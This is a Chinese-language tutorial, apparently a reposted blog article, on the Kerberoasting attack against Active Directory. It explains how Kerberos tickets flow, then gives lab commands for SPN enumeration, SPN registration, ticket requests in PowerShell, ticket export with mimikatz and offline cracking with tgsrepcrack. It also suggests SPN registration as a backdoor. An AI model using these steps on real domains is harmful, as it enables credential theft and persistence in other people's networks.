您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關Kerberoasting攻擊的示例分析,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
0x01介紹
當發布Windows 2000和Active Directory時,微軟打算在 Windows NT 和Windows 95 上也支持Active Directory,這意味著不僅會產生各種各樣的安全問題也會導致更多不安全的配置方式。同時,也意味著,微軟要保證在多個不同版本的 Windows 客戶端上均支持Kerberos協議。要實現這個想法的一個簡單的辦法就是在Kerberos協議中使用RC4加密算法,并將NTLM密碼哈希作為該加密算法的私鑰,該私鑰可用于加密或簽名Kerberos票證。因此,對于攻擊者來說,一旦發現了 NTLM 密碼哈希,就可以隨意使用,包括重新拿回Active Directory域權限(比如:黃金票證和白銀票證攻擊)。
0x02 Kerberos通信流程
這里借鑒一下網上給出的Kerberos的通信流程
用戶使用用戶名和密碼進行登錄
1a.將原始的明文密碼轉換為NTLM哈希,再將這個哈希和時間戳一起加密。最后,將加密的結果作為身份驗證者發送到KDC進行身份驗證的票據(TGT)請求(AS-REQ)。
1b.域控(KDC)檢查用戶信息(登錄限制,組成員等)并創建票證授權票證(Ticket Granting Ticket-TGT)。
2.將TGT加密,簽名并返回給用戶(AS-REP)。只有域中的Kerberos服務(KRBTGT)才能打開和讀取TGT數據。
3.當用戶請求票證授權服務(TGS)票證(TGS-REQ)時,會將TGT發送給DC。 DC打開TGT并驗證PAC校驗和 – 如果DC可以打開票證并且校驗和也可以驗證通過,那么這個TGT就是有效的。之后,復制TGT中的數據用于創建TGS票證。
4.使用目標服務帳戶的NTLM密碼哈希對TGS進行加密并將加密結果發送給用戶(TGS-REP)。
5.用戶連接到服務器托管的服務的相應端口上并發送TGS(AP-REQ)給服務器。被托管的服務會使用服務賬戶的NTLM密碼哈希打開TGS票證。
6.如果客戶端需要進行相互之間的身份驗證(可以想想MS15-011:在2月份發布的強化UNC的組策略補丁)就會執行這一步。
在第四步的時候,用戶將受到由目標服務實例的NTLM hash加密生成的TGS,他的加密算法為RC4-HMAC,那么我們在獲得這個TGS后,便可以通過窮舉的方式,生成TGS與它進行比較,如果相同,就可以代表密碼正確
然后還有幾點是需要大家明白的
1.當域控查詢某一個服務的SPN時
如果該SPN注冊在機器賬戶computers下,將會查詢所有機器賬戶的servicePrincipalName屬性,找到所對應的賬戶。
如果是注冊在域用戶賬戶users下,將會查詢所有域用戶賬戶的servicePrincipalName屬性,找到其所對應的賬戶。
找到對應的賬戶之后,使用它的NTLM hash生成TGS。
2.域內的所有主機都是可以查詢SPN的
3.域內的任何用戶都是可以向域內的任何服務請求TGS
所以,域內的任何一臺主機,都可以通過查詢SPN,向域內的所有服務請求TGS,然后進行暴力破解,但是對于破解出的明文,只有域用戶的是可以利用的,機器賬戶的不能用于遠程連接,所以我們的關注點主要就在域用戶下注冊的SPN。
0x03 實驗
首先我們先登陸服務器
域控
192.168.5.130
Administrator/secquan.org666
Win7
192.168.5.238
機器賬號SECQUAN_WIN7-PC\secquan_win7
機器密碼secquan.org666
域用戶賬號ZHUJIAN\win7
域用戶密碼secquan.org123
我們使用下列命令來進行查詢
setspn -q */*
緊接著,我們來給域用戶下的MSSQL服務注冊SPN
setspn -A MSSQLSvc/SECQUAN_WIN7-PC.zhujian.com zhujian\win7
然后 請求SPN Kerberos Tickets
Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList " MSSQLSvc/SECQUAN_WIN7-PC.zhujian.com "
比之前多了一條,且加密類型是RC4-HMAC
然后使用mimikatz來導出票據
接下來便可以使用tgsrepcrack或者保存hash使用hashcat破解
這里我們使用tgsrepcrack來進行測試
python tgsrepcrack.py mima.txt 1-40a00000-win7@MSSQLSvc~SECQUAN_WIN7-PC.zhujian.com-ZHUJIAN.COM.kirbi
可以發現已經成功爆破得到密碼
PS:使用其他工具的方法都是類似的,工具都一樣,重點在字典上
0x04 kerberoasting后門利用
如果我們有了SPN的注冊權限,我們就可以給指定的域用戶注冊一個SPN,然后獲取到TGS,然后破解得到密碼
上述就是小編為大家分享的Kerberoasting攻擊的示例分析了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。